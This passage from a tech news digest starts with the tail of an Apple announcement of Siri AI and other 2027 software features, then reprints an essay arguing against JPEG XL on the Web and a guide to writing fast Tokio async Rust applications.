Siri AI can understand personal context across messages, emails, photos, and more, to help users find what they need in the moment. It can also answer questions related to the content on a user’s screen or go out to the web to get up-to-date information to generate a helpful answer. Siri is integrated into the Camera app on iPhone with Siri mode, allowing users to get information and take action on what’s in front of them, like splitting a bill and paying friends with Apple Cash,1 or adding a custom pass to Wallet. With Visual Intelligence, users on iPhone, iPad, or Mac can now ask Siri about what they’re looking at on the screen, and Vision Pro users can search, ask questions, and take action simply by looking at their surroundings and asking Siri.

Siri mode is shown in the Camera app on iPhone 18 Pro.

Siri is integrated into the Camera app on iPhone with Siri mode, allowing users to get information and take action on what’s in front of them.

The Visual Intelligence experience is shown on a user’s iPad.

With Visual Intelligence, users on iPhone, iPad, or Mac can now ask Siri about what they’re looking at onscreen.

The new Visual Intelligence experience is shown on a user’s MacBook.

With Visual Intelligence, users on iPhone, iPad, or Mac can now ask Siri about what they’re looking at onscreen.

The new Visual Intelligence experience is shown on a user’s Apple Vision Pro.

Apple Vision Pro users can search, ask questions, and take action simply by looking at their surroundings and asking Siri.

With Write with Siri, users can simply describe what they need to generate a draft or help refine what they’ve written. A dedicated Siri app uses iCloud to privately sync conversational history across a user’s products, so they can start chatting with Siri on iPhone and continue the conversation on Mac, iPad, Apple Watch, or Apple Vision Pro.

A user employs Write with Siri on iPhone 18 Pro.

Write with Siri allows users to simply describe what they need to generate a draft.

A user employs Write with Siri on iPad.

Write with Siri allows users to get help refining what they’ve written.

A user’s Apple Vision Pro is shown next to their open Mac and iPad, with both of the latter screens showing the new Siri app.

The dedicated Siri app privately syncs conversational history across a user’s Apple products.

The next generation of Apple Intelligence also brings helpful new features to apps that users rely on every day. In Photos, Spatial Reframing, Extend, and an upgraded Clean Up tool provide more ways to edit photos while respecting the original moment as it was captured. Image Playground gives users the ability to create high-quality images in virtually any style, including photorealistic, and with image metadata and upcoming support for the SynthID standard, users can identify images generated or edited with AI.2 In Safari, Apple Intelligence powers new tools that automatically organize a user’s tabs into topics; notify them of website changes, like product restocks or price drops; and enable the creation of custom extensions based on a description. Call Context surfaces relevant information, like a confirmation code or reservation number, when calling a business.

In the Photos app, a menu shows the Clean Up, Extend, and Reframe tools.

In the Photos app, Spatial Reframing, Extend, and an upgraded Clean Up tool provide more ways to edit photos while respecting the original moment as it was captured.

On iPhone 18 Pro, a user employs the Image Playground app.

Image Playground gives users the ability to create high-quality images in virtually any style.

In Safari, a user’s tabs are automatically organized into topics, including “Jazz Community,” “Coffee,” “Puzzles,” and more.

In Safari, Apple Intelligence powers new tools that automatically organize a user’s tabs into topics.

On a user’s iPhone 18 Pro, the Notify Me feature surfaces a website change on the Lock Screen.

The Notify Me feature allows users to stay on top of website changes in Safari, like product restocks or price drops.

On iPhone 18 Pro, a user employs the Describe a Shortcut tool to generate a shortcut titled “Compose a message.”

Describe a Shortcut allows users to create custom extensions.

Call Context surfaces information about a user’s flight on Apple Watch Series 12.

Call Context surfaces relevant information, like a confirmation code or reservation number, when calling a business.

New Expert-Informed Child Safety Features and a Redesigned Screen Time Experience

Easy-to-use new features help parents manage what their kids can see, who they can talk to, and when they have access to apps. A new setup flow for child accounts makes it easier to enable age-based safeguards across the system. From the beginning, parents can choose the exact apps their kids have access to on their device, and gradually add more over time. Ask to Browse allows parents to require approval before their kids access a new website in Safari. In addition to being able to approve each new contact their kids connect with, parents can lean on Communication Safety, which now also detects and intervenes to block gore or violent content when detected in shared images or videos.

A child uses the Ask to Browse feature to ask their dad if they can visit a website called Cyber Pets Game.

Ask to Browse allows parents to require approval before their kids access a new website in Safari.

Redesigned to be more intuitive for parents, Screen Time offers an at-a-glance view of their kids’ average device usage and top apps. New tools make it easy to set daily total time allowances across Entertainment, Games, and Social Media apps, with guidance from leading clinical and child development experts, and Schedules let parents manage which apps their children have access to at different points in the day.

A user’s Screen Time Schedule is shown on iPad.

The redesigned Screen Time gives parents an at-a-glance view of their kids’ average device usage and top apps.

For parents and families looking for more information on how to help create safer, more enriching digital experiences for their kids, Apple has a dedicated website, which includes details on the latest tools and how to get started using them.

A More Refined Experience Across Platforms

The 2027 software releases deliver platform improvements that span performance, connectivity, search, and more, making Apple products even more responsive, reliable, and delightful to use.

Performance: Users will experience faster performance on iPhone, iPad, and Mac. On iPhone and iPad, apps launch up to 30 percent faster,3 photos load up to 70 percent faster after being taken,4 and AirDrop transfers are up to 80 percent faster.5 On iPad, browsing files and transferring them to an external USB drive is now up to 5x faster, and there are additional improvements to closing, switching, and dragging windows while multitasking.6 On Mac, things users do every day feel extra snappy and responsive. AirDrop transfers are quicker, iCloud Photos uploads begin faster, swiping between spaces and Mission Control is smoother, and more. On Apple Watch, music playback is even faster.

Connectivity: On iPhone and iPad, transitions between cellular and Wi-Fi networks are more seamless than ever. In Messages, sending large photos and videos in low-bandwidth situations no longer prevents subsequent texts from going through, so users can continue replying while media is being delivered. On Mac, users will experience faster network file browsing. Apple Vision Pro starts and connects to Wi-Fi up to 3x faster.7

A user smiles while browsing on iPhone 17 outdoors.

On iPhone and iPad, transitions between cellular and Wi-Fi networks are more seamless than ever.

Search: On iPhone, iPad, and Mac, search across Spotlight, Photos, and Mail is more stable, efficient, and comprehensive, so it can better help users find exactly what they are looking for. Additionally, a completely new ranking system in Mail surfaces even more relevant results in Top Hits.

Design: Refinements to the software design with Liquid Glass deliver an even more focused and approachable experience. For example, a new slider in Settings gives users the option to personalize Liquid Glass, adjusting it anywhere from ultraclear to fully tinted to match their preference, and app icons have been updated to be sharper and more defined.

Refinements to Liquid Glass deliver an even more focused and approachable experience.

Additional features across platforms:

  • iCloud Shared Albums support full-resolution sharing for photos and videos, and make it easier for Android and Windows users to join and contribute.
  • The Health app brings support for perimenopause and menopause in Cycle Tracking, including notifications about cycle deviations inclusive of perimenopause.8
  • AirPods users can now enjoy custom EQ to further personalize how their AirPods sound. And with expanded Apple GymKit functionality, users with AirPods Pro 3 can sync their heart rate data through iPhone while enjoying incredible audio quality.
  • Apple Maps brings an enhanced Flyover experience, which combines aerial imagery with AI, allowing users to enjoy even more detailed visuals.
  • On Apple Watch, new Smart Stack widget suggestions surface when they are relevant, and users can conveniently open a widget with a new single-handed tap gesture. Workout Buddy is supported even when users don’t have their iPhone nearby, and it’s now available in Spanish in addition to English.
  • Apple Vision Pro users can now turn panoramas into spatial scenes with rich depth and use them as a personal Environment, or transform their space entirely with the new Thórsmörk Environment featuring a dynamic Icelandic aurora.
  • On Apple TV, users get high-resolution lossless audio support for Apple Music, a redesigned Apple Podcasts app, and broader text-size accessibility options.

The updated iCloud Shared Albums experience.

iCloud Shared Albums support full-resolution sharing for photos and videos and make it easier for Android and Windows users to join and contribute.

The updated Cycle Tracking experience in the Health app.

The Health app brings support for perimenopause and menopause in Cycle Tracking, including notifications about cycle deviations inclusive of perimenopause.

A pair of AirPods are shown next to a user’s iPhone 18 Pro showing their AirPods settings.

Now AirPods users can enjoy custom EQ to further personalize how their AirPods sound.

The enhanced Flyover experience in Apple Maps.

An enhanced Flyover experience in Apple Maps combines aerial imagery with AI, allowing users to enjoy even more detailed visuals.

New Smart Stack widget suggestions on Apple Watch Series 12.

New Smart Stack widget suggestions on Apple Watch will surface when they are relevant, and users can conveniently open a widget with a new single-handed tap gesture.

The new Apple Vision Pro panoramas experience.

Apple Vision Pro users can now turn panoramas into spatial scenes with rich depth and use them as a personal Environment.

The new features start rolling out today across iOS 27, iPadOS 27, macOS 27, watchOS 27, visionOS 27, and tvOS 27.

Availability

  • Features are subject to change. Some features may not be available in all languages or regions, and availability may vary due to local laws and regulations. For more information about availability, visit apple.com.
  • New Apple Intelligence capabilities across apps are available for users with supported products set to a supported language. Siri AI begins rolling out as a beta in English, with French, Japanese, Korean, Portuguese, and Spanish coming in October.
  • Mac and Apple Vision Pro users in the EU will be able to access Siri AI when set to a supported language. Siri AI will not be available initially in the EU in iOS, iPadOS, and watchOS.
  • Siri AI and the other new Apple Intelligence features will not be available in China while Apple works through regulatory requirements.
  • Users who enable Apple Intelligence on supported products set to a supported language will have access with iOS 27, iPadOS 27, macOS 27, watchOS 27, and visionOS 27.
  • Apple Intelligence is available with support for these languages: English, Danish, Dutch, French, German, Italian, Norwegian, Portuguese, Spanish, Swedish, Turkish, Vietnamese, Chinese (simplified), Chinese (traditional), Japanese, and Korean. Some features may not be available in all regions or languages. For feature and language availability and system requirements, see apple.com/apple-intelligence.
  • Apple Intelligence and Siri AI in iOS 27, iPadOS 27, macOS 27, watchOS 27, and visionOS 27 are available on iPhone Duo, iPhone Air, iPhone 16 models or later, iPhone 15 Pro, iPhone 15 Pro Max, iPad mini (A17 Pro), iPad models with M1 or later, MacBook Neo (A18 Pro), Mac with M1 or later, Apple Vision Pro, Apple Watch Series 9 or later, Apple Watch Ultra 2 or later, and Apple Watch SE 3 when paired with an Apple Intelligence-enabled iPhone. Some features on Apple Watch require iPhone nearby.
  • Certain Apple Intelligence features that rely on server-side models are subject to daily usage limits, including but not limited to Siri AI, intelligent photo editing tools, Image Playground, and AFM 3 Cloud models in Shortcuts. Daily limits may vary by feature, request complexity, system demand, system policies, and other factors. Expanded access to such features will be available for a fee in the future. Use of these features is subject to Apple Intelligence terms and conditions. Learn more at apple.com/apple-intelligence. Siri AI is not available for users under 13.
  1. Only available in the U.S. on eligible iPhone and iPad devices. Requires Siri AI on an Apple Intelligence-enabled device. Apple Intelligence is available on iPhone 16 models or later, iPhone 15 Pro, iPhone 15 Pro Max, iPad mini (A17 Pro), and iPad models with M1 or later. Apple Cash services are provided by Green Dot Bank, Member FDIC. Apple Payments Services LLC, a subsidiary of Apple Inc., is a service provider of Green Dot Bank for Apple Cash accounts. Neither Apple Inc. nor Apple Payments Services LLC is a bank. Learn more about the terms and conditions.
  2. SynthID will be available in a software update later this year, and will be included for most edited images, depending on the edits applied.
  3. Testing conducted by Apple in August 2026 using iPhone 11 Pro Max with iOS 26.6 and prerelease iOS 27. App launch performance measured after many cycles of device usage. Performance varies based on configuration, settings, content, usage, software versions, environmental conditions, and other factors.
  4. Testing conducted by Apple in July 2026 using iPhone 15 with iOS 26.6 and prerelease iOS 27. Photos app tested using a 50,000-asset library, and taking additional individual photos with Camera app. Performance varies based on configuration, settings, content, usage, software versions, environmental conditions, and other factors.
  5. Testing conducted by Apple in July 2026 using iPhone 16 Plus with iOS 26.6 and prerelease iOS 27. AirDrop tested by transferring multiple photos totaling 30MB between nearby contacts while not associated with a Wi-Fi network. Performance varies based on configuration, settings, content, usage, software versions, environmental conditions, and other factors.
  6. Testing conducted by Apple in July 2026 using iPad Pro 11-inch (M4) with iPadOS 26.6 and prerelease iPadOS 27, and an APFS-formatted USB 4 external SSD. Files app tested using 10,000 JPG files, copying and browsing from iPad to the external drive. Performance varies based on configuration, settings, content, usage, software versions, environmental conditions, and other factors.
  7. Testing conducted by Apple in August 2026 using Apple Vision Pro (M2) with visionOS 26.6 and prerelease visionOS 27. System tested from first unlock after reboot to Apple TV app launch and appearance of content. Performance varies based on configuration, settings, content, usage, software versions, environmental conditions, and other factors.
  8. The Cycle Tracking app should not be used for birth control or to diagnose a health condition.
The Daily Front Page 10 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — The Image Codec Argument
article

The case against JPEG XL

by contact9879·▲ 264 points·355 comments·giannirosato.com ↗
JPEG XL is a technically impressive image codec

Investigating JPEG XL's place as a Web image codec.

Caustics

Why?

JPEG XL is a technically impressive image codec; it is a definitive upgrade over JPEG, more versatile than WebP, and well-equipped to serve use cases beyond the Web. However, it was famously rejected from Chrome in 2023. Because this happened to a royalty-free, flexible, compression-efficient codec from the JPEG Committee that was receiving attention from large companies, the decision didn't land well with many.

Recently, a JPEG XL decoder in Rust has made its way into Firefox and Chrome in some capacity. The Web's major stakeholders may therefore be reversing course on JPEG XL given that the new decoder may protect the Web from reliving 2023's WebP vulnerability. Is this all it took to justify JPEG XL for the Web?

Historically, I've been a big proponent of JPEG XL for all use cases. I endorsed JPEG XL for Interop 2024, and I've interacted with Jon Sneyers and Jyrki Alakuijala (two of the format's primary authors) personally many times. I'm consistently impressed with their public conduct, level-headedness, technical aptitude, and passion for the field.

This piece does not seek to discredit the format's authors or their work, nor to claim any political affiliation relative to the codec's symbolism in free software. The spirit of this post is educational; I want to offer an empirical look at the current state of image compression and the Web platform in 2026. Some inspiration is drawn from RISC-V: They Should Have Known Better by Dmitry Grinberg.

The Web

I do image compression work, coming from video compression originally. While working on an AV1 encoder, Julio Barba and I made significant advancements to AVIF, and I learned a lot in the process. When I decided to start building my own encoder, I had to think very hard about which formats I felt had the highest ceilings, could be effectively optimized, and had the most present and potential utility. I decided not to work with JPEG XL.

By volume, there are very few use cases on the Web that aren't served by versatile lossy compression. The average Web consumer doesn't need lossless; they just need a lossy codec versatile enough to prevent terrible artifacts (e.g. JPEG on non-photographic content). This rules out JPEG XL's lossless advantage, which in practice is only roughly 11.9% smaller than lossless WebP anyway – and on an unrealistic test dataset for the Web (157 MP photos, 10 MP illustrations, and 27 MP books). It cannot be worth bringing a new image codec to browsers to save 12% on a tiny volume of image content with use cases inherently less sensitive to bandwidth constraints. I say this because JPEG XL isn't competitive for lossy, so lossless would be its only real advantage.

Lossy Compression Efficiency

One of the original arguments for JPEG XL was that its reference encoder was more perceptually optimized than competing encoders. Now, on both speed and fidelity per bit, other encoders are stronger.

The AV1 reference encoder received specialized perceptual tuning based on controlled subjective human trials to strengthen its efficiency while maintaining a tuning mode optimized for perceptual metrics. SVT-AV1 has similar tuning modes. There is no compelling argument that modern encoders aren't tuned for the human eye.

Metrics aren't perfect, but they paint a daunting picture for JPEG XL:

CVVDP

MS-SSIM

SSIMULACRA2

aperture-alpha is Halide Compression's upcoming encoder, codenamed Aperture. I included it to show just how much ground libjxl needs to make up to compete at the frontier.

Some analysis claims that JPEG XL underperforms in metrics relative to its perceptual strength, but I don't see sufficient evidence that this is to the degree that graphs like the ones I shared could be secretly completely reversed. CVVDP and SSIMULACRA2 are very strong perceptual metrics, and definitely tell us something when the differences are this great. For AVIF, libaom's perceptually optimized tune (tune IQ) is only a couple of points lower than its perceptual-metric-optimized tune (tune SSIMULACRA2). Plus, the JPEG XL reference encoder has historically suffered from percep tual issues that remain largely unresolved.

There's no such thing as a codec benchmark, only an encoder benchmark; in theory, the ceiling for JPEG XL as a format is higher than libjxl is getting. But how hard would it be to close the gap? As a compression engineer, I believe it is disadvantaged here. Some reasons:

  • JPEG XL doesn't have directional prediction modes. Compressed images are divided into VarDCT blocks (from 2x2 up to 256x256) and transformed into frequency representations of their pixels. Other block-based image codecs like WebP let you predict a block's pixels using surrounding data, subtract this prediction from the actual pixels, and then do the frequency transform. Directional prediction modes can result in blur if your encoder isn't perceptually optimized, but strong mode-decision pipelines can pick the right mode for the job and save lots of bits. For example, edge preservation is stronger in codecs with directional pred, while JXL is weaker here.

  • The proposed solution for the edge-preservation gap is splines, which are vastly more difficult to use. The hard part is on the encoder side: you need an efficient algorithm to figure out which pixels can even be represented as a spline, then feed every candidate through RDO to decide whether it's worth coding. There's no existing PoC for using splines for edge preservation, and I have no reason to believe they'd be better than dir-pred anyway.

  • JPEG XL doesn't have deblocking loop filtering (DLF), or any deblocking filter. It does have two in-loop tools that are sometimes offered as partial equivalents: gaborish, which is the closest thing JXL has to AV1's loop restoration filtering, and EPF (edge-preserving filter), whose closest analogue is AV1's CDEF. Neither is a deblocking filter, and the two together can't fully replace proper DLF. The DLF can smooth images out, but if your encoder is smart it will only help you avoid mosquito noise, which JPEG XL still suffers from.

  • JPEG XL's perceptual "XYB" colorspace is based on a lot of intuition, and doesn't always translate to gains in other formats (like JPEG) even when metrics like SSIMULACRA2 work in the exact same colorspace. The claimed efficiency savings from using XYB also aren't as big as originally advertised because libjxl currently relies on aggressively quantizing the B channel. This has resulted in subpar color preservation, which new JXL encoder developers must explicitly undo.

  • JXL does poorly with non-photographic images. The proposed solution is using patches, but they are more difficult to use than AV1's Intra Block Copy.

    • To get a similar range of expressiveness to IntraBC, the encoder has to deal with additional concepts like layers and blending, which aren't cheap to represent at the bitstream level.
    • Residual coding is awkward. With AV1, you predict a block, subtract the prediction from the source, and the transform coefficients naturally represent the residual. With JXL's construction, you decode a residual frame and then blend a reference patch, so you need an actual frame or layer whose decoded pixels represent the residual. That would likely be a Modular frame, which is interesting because Modular isn't restricted to conventional unsigned image values the way the final rendered image is.
    • An IntraBC block essentially costs a motion vector plus residual coefficients, whereas a JXL construction potentially costs a reference frame, a frame header, a crop, blend information, a patch dictionary entry, patch coordinates, and a residual frame. That overhead can overwhelm the savings unless the repeated region is fairly large or reused many times.
    • Patches have to be explicitly enabled in libjxl below effort 7 because they currently have performance issues.

For non-photographic images, the argument that “they should be vector images” doesn't hold up because many images could be vector images but aren't, and they can't be vectorized perfectly. “The world should be different” is not a justifiable defense against optimizing for the way the world actually is.

It is tempting to think these points mean the ceiling is higher than libjxl lets us reach and that we could do better, but I'm not confident it can eclipse well-optimized AVIF encoders quickly, given its less intuitive (and potentially weaker) coding tools.

Decode Time

JPEG XL has an impressively flexible specification. In addition to its coding tools, it supports up to 4096 channels, arbitrary color depth, progressive decode, JPEG recompression, and more. Many of these features are not broadly useful on the Web; you need 4 channels (RGB/YUV + alpha), reasonable color depth to support HDR (10-bit is fine), and the ability to load quickly.

Progressive rendering (which AVIF supports) decodes a low-fidelity rendition before the full image arrives. AVIF didn't support progressive rendering for a while, and during that time I believe it was deeply oversold. Now that libavif has implemented it (it was always possible), the conversation appears to be over. I think this is because the results speak for themselves:

AVIF Progressive Decode

This is from the JPEG-XL info site, where AVIF shows a usable image much earlier than JXL at just ~2-3% of the full image's size. Combined with the fact that the AVIF is smaller overall, this is an easy win. I've screenshotted the page because the AVIF progressive decode only works in Chrome, as it is using the browser's native decoder; JPEG XL uses a polyfill because even in Safari where it is supported, progressive decode isn't.

JPEG recompression is the ability to losslessly re-encode JPEGs as JXL images while saving bits; the oft-cited number is 20% savings. However, the user pays for this in decode time, as recompressed JPEGs take ~33% longer to decode. Modern consumer devices are powerful, but the argument that the savings come “for free” is misleading.

On that topic, decode time is not competitive with the best:

Decode Time

In public discourse, AVIF is considered slow to decode; what does that make JXL? This is also a 10-bit AVIF, and all images were size-matched encodes of the same source. The JPEG was 2,478,828 bytes, the JPEG XL was 2,599,428, the AVIF 2,649,949, and WebP 2,693,794. WebP is over 90kb larger and still manages to decode over 10x faster than jxl-rs with wpd.

Due to the codec's expressivity, it is possible to craft images that take obscenely long to decode. Take this example (open with caution) that computes primes up to 33,599 and takes 17.43s of user time to decode on my M5 Pro with the Rust decoder. Additionally, keep in mind that this is the decoder making its way into Chrome, Firefox, etc – the prime wall image is just 1,918 bytes, so it's about to become trivially easy to JXL-bomb low-end devices. You can already ship a couple dozen of these on a Web page and slow Apple devices down, as they natively support JPEG XL in Safari.

Conclusion and Opinion

I believe Web codecs should be purpose-built, efficient, and narrowly scoped to the needs of the Web. I think WebP was a bit too narrowly scoped, but the idea was there; AVIF's container could be better, and the AV1 spec could be a bit more specific about handling certain properties of images (e.g. normative 4:2:0 upsampling), but AVIF was always a guaranteed addition to the Web due to AV1 and benefits from a very mature ecosystem.

Do we need JPEG XL then? It isn't narrowly scoped whatsoever; it is meant to be everything to everyone, by design. I think a lot of other use cases need this, but the Web needs to save bandwidth, decode fast, and prevent foot-guns; I don't see how JPEG XL is even as good a fit as WebP. Not to mention an additional compatibility headache now exists for anyone just trying to download an image from the Internet and use it somewhere – it was hard enough to get widespread WebP adoption, and I don't think it's worth doubling the pain by having to climb the same hill for AVIF and JPEG XL. Especially when JPEG XL doesn't appear to add anything to the Web platform.

3½ years ago, I said:

I want a web where both AVIF and JPEG XL can exist, and developers decide which format to use for its merits. [...] In my opinion, JPEG XL and AVIF have fundamentally different strengths which lend them to different use cases.

At the time, JPEG XL was a much stronger contender for medium-high fidelity lossy image compression. AVIF now dominates the entire fidelity range, so JPEG XL's one real advantage has disappeared.

Full Fidelity Range

JPEG XL came from Cloudinary and Google, but I think the codec is discussed in a way that doesn't make this clear. Also worth mentioning both JPEG XL and AVIF are royalty-free. Because of the politics around Google's browser market dominance, AV1 coming from Google, and the controversy around Google's WebP, it is my opinion that most of the argument for JPEG XL comes from wanting a Web with more developer choice as opposed to wanting a technologically superior image codec. I understand this, and I think JPEG XL can still thrive outside the Web in places AVIF never could. In the same article:

My current optimistic hope is that JXL takes off outside the web among professionals working with tools like the Adobe suite or alternatives, and camera manufacturers, smartphone OEMs, and others take notice and begin to think about JXL more seriously.

JPEG XL isn't useless; it is genuinely compelling technology for use cases beyond the Web. I'm just not personally convinced we need it in browsers any time soon.

Software and environment details.

The Daily Front Page 11 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — Fast by Design
article

Principles for Fast Tokio Applications

by carllerche·▲ 183 points·45 comments·dial9-rs.github.io ↗
a living document of best practices

I'm on my way back from RustConf. At the Unconf, we had a productive discussion about debugging and benchmarking async applications. Many interesting insights were shared. I'm attempting to enumerate some of them here, along with some of my own experiences. This is the first draft of what I hope can become a living document of best practices. Feel free to file an issue or open a PR. I'm hoping to also add a sample app in the coming days demonstrating these issues along with what the dial9 trace looks like.

There are few hard-and-fast rules for writing code that performs well on Tokio runtimes; the answer to so many questions is "it depends." The performance of a workload depends on what else is running on the runtime at that moment. This is why so many problems only show up in production! Writing async applications that perform well is a balance between fairness and batching, contention and isolation.

This post lays out some general principles and covers exceptions where I can. It assumes basic familiarity with Tokio's work-stealing runtime; a high-level summary is included in the appendix.

General principles

First, determine whether you have a problem

If you start looking for red flags in a Tokio application, you will find them. Almost every real application I have seen has polls (the time between .await points when the code yields back to the runtime) much longer than the 10-100 microseconds Alice Ryhl recommends in her excellent post What is Blocking?. These problems may or may not affect the application metrics or behavior you actually care about (see: long polls can be fine sometimes). It is important to work backward from a real metric you are trying to improve. For example, an application can have long polls that are completely benign; "fixing" them will not measurably impact user-facing metrics.

In the overwhelming majority of problems I have come across, the issue was in the application code itself, often in the interaction between multiple components of a distributed system (and not actually in Tokio). dial9 has given a lot of visibility into Tokio; at least as often as it finds a Tokio problem, it actually clearly demonstrates the lack of one (which gives folks the confidence to search elsewhere). Of course, sometimes it is a Tokio problem.

In terms of Tokio metrics, the most useful is the recently added schedule latency histogram. Schedule latency is the amount of time between your task being ready to run (e.g., because the socket has data) and Tokio actually polling the future. Although this won't tell you what the cause is, scheduling latency is the most common symptom of poor interactions between Tokio and your code.

Split for latency, batch for throughput

Yield more frequently to optimize for latency

Low latency across many requests requires fairness between connections.

Consider Redis (or any application that supports request pipelining). A naive implementation will read data directly off the connection while more data is available. When requests are pipelined, the entire pipelined request (or most of it) will end up in an in memory buffer. When you read frames off of it, each will be Poll::Ready (without going back to the network). This creates both long polls and unfairness between clients.

The impact on throughput is usually smaller: the same number of requests are processed. Latency, however, changes dramatically because one entire pipeline can wait behind another. Explicitly yielding after each request can reduce latency by roughly 10× in this example. You can do even better by yielding only after several consecutive immediately-ready reads.

async fn handle_conn(&mut self) -> crate::Result<()> {
    while !self.shutdown.is_shutdown() {
        // If the connection has buffered data, this can repeatedly return
        // Poll::Ready without yielding back to the runtime.
        let frame = tokio::select! {
            res = self.connection.read_frame() => res?,
            _ = self.shutdown.recv() => {
                return Ok(());
            }
        };

        execute_command(&self.db, &mut self.connection, frame).await?;

        // To improve fairness:
        // tokio::task::yield_now().await;
    }
}

Two mini-Redis pipeline latency distributions showing that adaptive yielding reduces p50 latency from 0.967 to 0.105 milliseconds and p99 latency from 2.548 to 0.320 milliseconds

Yielding after four consecutive immediately-ready reads makes pipelined requests much fairer without giving up batching entirely.

How do I know if I have this problem?

  • P99 is much greater than P50.
  • Polls take longer than the work inside them should require.
  • Many spans fall inside a single poll.

Batch work to amortize overhead

Fairness is not free. The more useful work you can do per runtime event—changing tasks, polling, moving between workers, or changing threads—the more efficient your application can be.

Perhaps the best example is tokio::fs. I sometimes go so far as to say that "tokio::fs is considered harmful." Without io_uring, Tokio runs each filesystem operation on the blocking pool. Each call to spawn_blocking also has a cost, and every runtime has a shared blocking pool.

If you know you will perform a series of filesystem operations—or any blocking work—batch them into the largest sensible blocking segment. In some cases, a dedicated OS thread is a better fit.

This principle applies anywhere you interact with Tokio. If you know you will send work to the global queue, batching can amortize that coordination too.

Even things as fast as spawning a task are not free! Spawning a task is cheap, but if you spawn 100s or 1000s of tasks, each one represents work the runtime has to deal with separately. Each creates more chances to be impacted by scheduling delay, more individual polls the runtime needs to handle, and generally more overhead in general. When you spawn a task, consider how much work you are actually scheduling: spawning a 10-microsecond unit of work onto its own task is probably anti-helpful. Tools like dial9 or tokio-metrics can help you track the lifecycle of tasks.

How do I know if I have this problem?

  • Tokio APIs such as spawn_blocking consume noticeable time in flamegraphs.
  • A tight loop performs many individually small filesystem or blocking operations.
  • Throughput improves when the same work is grouped into larger units.

Beware global resources

The Tokio runtime schedules work on workers: dedicated threads that poll ready tasks. Workers scale across cores, but some runtime resources still require shared coordination.

The blocking pool is currently1 a global resource. At high enough rates, pushing work onto the blocking queue becomes a bottleneck and spawn_blocking can become visible in flamegraphs. I have seen negative performance effects at roughly 50,000 blocking tasks per second on a 32-core host; your mileage will vary. spawn_blocking is not a magic fix for every piece of blocking or CPU-heavy code. For short, bounded work, it may be faster to let Tokio's workers and work stealing handle it, but, as always, "it depends."

Tokio also has a global task queue. Tasks land there when local worker queues overflow, which is usually rare, or when work is scheduled from outside a runtime worker, which can be common in some applications. One example is a channel whose sender runs on a non-Tokio thread.

How do I know if I have this problem?

  • Runtime-wide operations such as spawn_blocking are prominent in flamegraphs.
  • The global queue is consistently deep. In a healthy application it should generally stay close to empty; in a saturated application, it can take a long time to drain.

Be extremely careful with mutexes

One of the easiest ways to stall an entire runtime is to block a worker on a contended mutex.

Things like a metrics registry stored behind a mutex or read-write lock are especially susceptible to this issue. If a flush holds the lock while doing expensive work, every Tokio worker may eventually schedule a task that tries to record a metric and blocks on the same lock. Stealing becomes impossible because every worker is stuck!

Keep critical sections in async applications extremely short (e.g., a single hashmap update). RWLocks are almost never the right primitive to use as they still create contention on atomics, even for the read path. Do not hold the lock while flushing, performing I/O, or awaiting another future.

tokio::sync::Mutex trades one issue for another: Tokio Mutexes are much more expensive to lock, are susceptible to subtle issues like FutureLock, and are really only appropriate if the critical section lasts multiple milliseconds.

How do I know if I have this problem?

  • P99 spikes at predictable intervals like once every minute when a background task runs
  • In dial9, many tasks suddenly become blocked and off-CPU for a nontrivial duration.

dial9 trace showing all four Tokio workers blocked by mutex contention, followed by kernel scheduling delays and a sudden drop in active tasks

A contended blocking mutex stalls all four runtime workers at once.

Constrain parallelism—usually

Tokio can happily spawn far more tasks than the rest of your system can handle. Accidentally opening 3,000 concurrent connections to S3 because a workload fanned out an unbounded number of tasks is very common.

The answer is boring: limit concurrency. Fancy adaptive algorithms are sometimes appropriate, but a Semaphore is often enough.

Isolate Tokio workers from other threads

Tokio's design relies on workers waking quickly. However, if the operating system is highly loaded, it may take 10–20 ms—or more—for the kernel to schedule a worker after Tokio attempts to wake it. If you measure P99 latency in single-digit milliseconds, this is a disaster. I've observed this during incremental migrations from Java to Rust at Amazon, where both processes ran on the same host and the Rust process gradually took on more of the work.

The less work the Java process did, the faster the Rust process became, even as it handled more work. This effect is even stronger when the other applications use a large number of threads.

The most basic solution is to use cgroups or related APIs to pin the Tokio workers and other code to separate CPU cores.

The same issue can arise from other Rust threads. Background threads such as those used by tracing_appender can sometimes do more than 100 ms of work without yielding the CPU. If Tokio attempts to wake a worker during this time, that worker may be delayed until the kernel preempts the other thread.

If you see this happening, the solution is the same: pin noncritical background work to its own core and move Tokio workers to other cores. You rarely need every core for Tokio, and reserving cores for other work tends to improve latency.

How do I know I have this problem?

  • dial9 shows a kernel scheduling delay between a worker-unpark event and the worker actually running.

Tricks for when you know better

The patterns in this section are not generally the right thing to do, but sometimes they are exactly what a workload needs.

Blocking the executor can be fine—sometimes

In an idealized async application, all work would happen in tiny bursts with frequent yields back to Tokio. The real world does not always work that way, and tiny bursts are not necessarily the fastest way to run software. Batching work can be more efficient.

In practice, long polls are not always a problem. Under light load, Tokio's work stealing can compensate when one worker is occupied for longer than usual. That starts to break down under two conditions:

  1. The Tokio runtime is heavily loaded and spare worker capacity does not exist.
  2. The operating system is heavily loaded, so unparking workers is frequently delayed.

In both cases, stealing work takes longer. If work is not stolen quickly enough, core runtime maintenance—such as driving I/O—may not happen frequently enough to maintain low latency.

Important note! This advice does not apply if you are utilizing things like tokio::join! and tokio::select! that utilize in-task concurrency. Within a single task, there is no work stealing; if you block the executor, nothing else running on that task can make progress. This sometimes manifests as unexpected timeouts and generally bad latency.

Use multiple runtimes to isolate workloads by priority

The strongest isolation comes from assigning work to separate runtimes and pinning those runtimes to dedicated cores. Many network services have both latency-sensitive work and lower-priority background work. Putting them on separate runtimes creates a scheduling boundary between the two.

You can also set OS-level niceness when the runtime threads start. See dial9's multiple-runtime example and Tokio's on_thread_start hook.

At TokioConf the general impression from most talks is that folks ended up moving to a solution with at least two runtimes.

Spin to keep control

This is a very advanced tactic for chasing latency measured in microseconds. I don't recommend reaching for this first, but it can definitely work.

Every time you yield back to the Tokio scheduler—or Tokio parks a worker thread and yields it to the operating system—you create a chance for that work to be delayed when it wakes again.

For extremely latency-sensitive work, one option is to intentionally spin for a short preset period, maybe 50 microseconds, rather than yield while waiting for the next piece of useful work. This consumes a core and can harm neighboring workloads, so it is probably wrong for most applications. Under carefully controlled conditions, however, it can be the right tradeoff.

Appendix: A mental model for Tokio in four bullet points

  • Rust futures make incremental progress between await points. These active sections are called polls, after the Future::poll method.
  • When futures are not being polled, they are idle and waiting for an executor to run them again. A good executor polls a future only when it has work to do.
  • Tokio runs N workers, usually one per available core. Each worker has a local queue. When a queue overflows or work cannot be added to a local queue, the task goes to the global queue.
